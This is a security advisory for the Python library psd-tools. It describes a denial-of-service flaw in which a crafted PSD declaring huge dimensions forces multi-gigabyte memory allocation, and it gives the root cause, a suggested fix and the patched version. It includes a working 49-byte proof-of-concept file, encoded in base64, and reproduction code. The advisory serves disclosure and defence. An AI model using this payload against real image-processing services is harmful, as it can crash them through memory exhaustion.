GHSA-8Q6G-VJHF-JP8M
Vulnerability from github – Published: 2026-09-22 19:45 – Updated: 2026-09-22 19:45Summary
PSDImage.composite() (and .numpy()) allocate the output image buffer from the PSD's header geometry (width × height × channels × depth, and per-layer rectangles) before validating those values against the actual file contents. A tiny crafted PSD declaring huge dimensions causes a multi-gigabyte allocation. Critically, composite() then returns a (black) image with only a warning, no exception is raised, so a caller cannot detect or guard against it.
Impact
On psd-tools 1.17.2 (latest), default usage, a 49-byte PSD makes composite() commit ~3 GB and return successfully (warning only); .numpy() reaches ~7.5 GB, and the per-layer rectangle is a second lever (up to ~32 GB), all from an input under 100 bytes (input-to-commit amplification over 1000×). Because the buffer is committed before validation and no exception is thrown, any service that composites untrusted PSDs is exposed to denial of service: on a host with less RAM than the attacker-declared geometry the allocation is an unrecoverable OOM-kill.
Steps to reproduce
# pip install psd-tools==1.17.2
from psd_tools import PSDImage
psd = PSDImage.open("psd-psdtools-grammar-d23.psd")
psd.composite() # commits ~3 GB from a 49-byte file and returns (warning only)
PoC (49 bytes), reconstruct with:
base64 -d > psd-psdtools-grammar-d23.psd <<'EOF'
OEJQUwABAAAAAAAAAAYAACg4AAAXTAAIAAMAAAAAAAAAAAAAAAAAAUNIUIFU+yQtDw==
EOF
Verify:
7d8ebf03a54393cb0359ecf4b676d1b08c9a8c6afdd06671ef406d6893cce826 psd-psdtools-grammar-d23.psd
Root cause
The composite/numpy buffer is sized from the declared image (and per-layer) dimensions and channel/depth without checking them against the available data length or a sane maximum.
Suggested fix
Validate the declared dimensions, channel count, and per-layer rectangles against the actual file length (and a configurable maximum pixel/byte budget) before allocating; raise an error on overflow instead of committing the buffer and returning a black image.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "psd-tools"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.17.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-59991"
],
"database_specific": {
"cwe_ids": [
"CWE-789"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-22T19:45:51Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\n`PSDImage.composite()` (and `.numpy()`) allocate the output image buffer from the PSD\u0027s header geometry (width \u00d7 height \u00d7 channels \u00d7 depth, and per-layer rectangles) before validating those values against the actual file contents. A tiny crafted PSD declaring huge dimensions causes a multi-gigabyte allocation. Critically, `composite()` then returns a (black) image with only a warning, no exception is raised, so a caller cannot detect or guard against it.\n\n### Impact\nOn psd-tools 1.17.2 (latest), default usage, a 49-byte PSD makes `composite()` commit ~3 GB and return successfully (warning only); `.numpy()` reaches ~7.5 GB, and the per-layer rectangle is a second lever (up to ~32 GB), all from an input under 100 bytes (input-to-commit amplification over 1000\u00d7). Because the buffer is committed before validation and no exception is thrown, any service that composites untrusted PSDs is exposed to denial of service: on a host with less RAM than the attacker-declared geometry the allocation is an unrecoverable OOM-kill. \n\n### Steps to reproduce\n```python\n# pip install psd-tools==1.17.2\nfrom psd_tools import PSDImage\npsd = PSDImage.open(\"psd-psdtools-grammar-d23.psd\")\npsd.composite() # commits ~3 GB from a 49-byte file and returns (warning only)\n```\n\nPoC (49 bytes), reconstruct with:\n```sh\nbase64 -d \u003e psd-psdtools-grammar-d23.psd \u003c\u003c\u0027EOF\u0027\nOEJQUwABAAAAAAAAAAYAACg4AAAXTAAIAAMAAAAAAAAAAAAAAAAAAUNIUIFU+yQtDw==\nEOF\n```\nVerify:\n```\n7d8ebf03a54393cb0359ecf4b676d1b08c9a8c6afdd06671ef406d6893cce826 psd-psdtools-grammar-d23.psd\n```\n\n### Root cause\nThe composite/numpy buffer is sized from the declared image (and per-layer) dimensions and channel/depth without checking them against the available data length or a sane maximum.\n\n### Suggested fix\nValidate the declared dimensions, channel count, and per-layer rectangles against the actual file length (and a configurable maximum pixel/byte budget) before allocating; raise an error on overflow instead of committing the buffer and returning a black image.",
"id": "GHSA-8q6g-vjhf-jp8m",
"modified": "2026-09-22T19:45:51Z",
"published": "2026-09-22T19:45:51Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/psd-tools/psd-tools/security/advisories/GHSA-8q6g-vjhf-jp8m"
},
{
"type": "WEB",
"url": "https://github.com/psd-tools/psd-tools/commit/a3d9a53ad51e667b5772a4f636ca6f2e16f4b271"
},
{
"type": "PACKAGE",
"url": "https://github.com/psd-tools/psd-tools"
},
{
"type": "WEB",
"url": "https://github.com/psd-tools/psd-tools/releases/tag/v1.17.4"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "psd-tools composite/numpy has uncontrolled memory allocation via crafted PSD geometry"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
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- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
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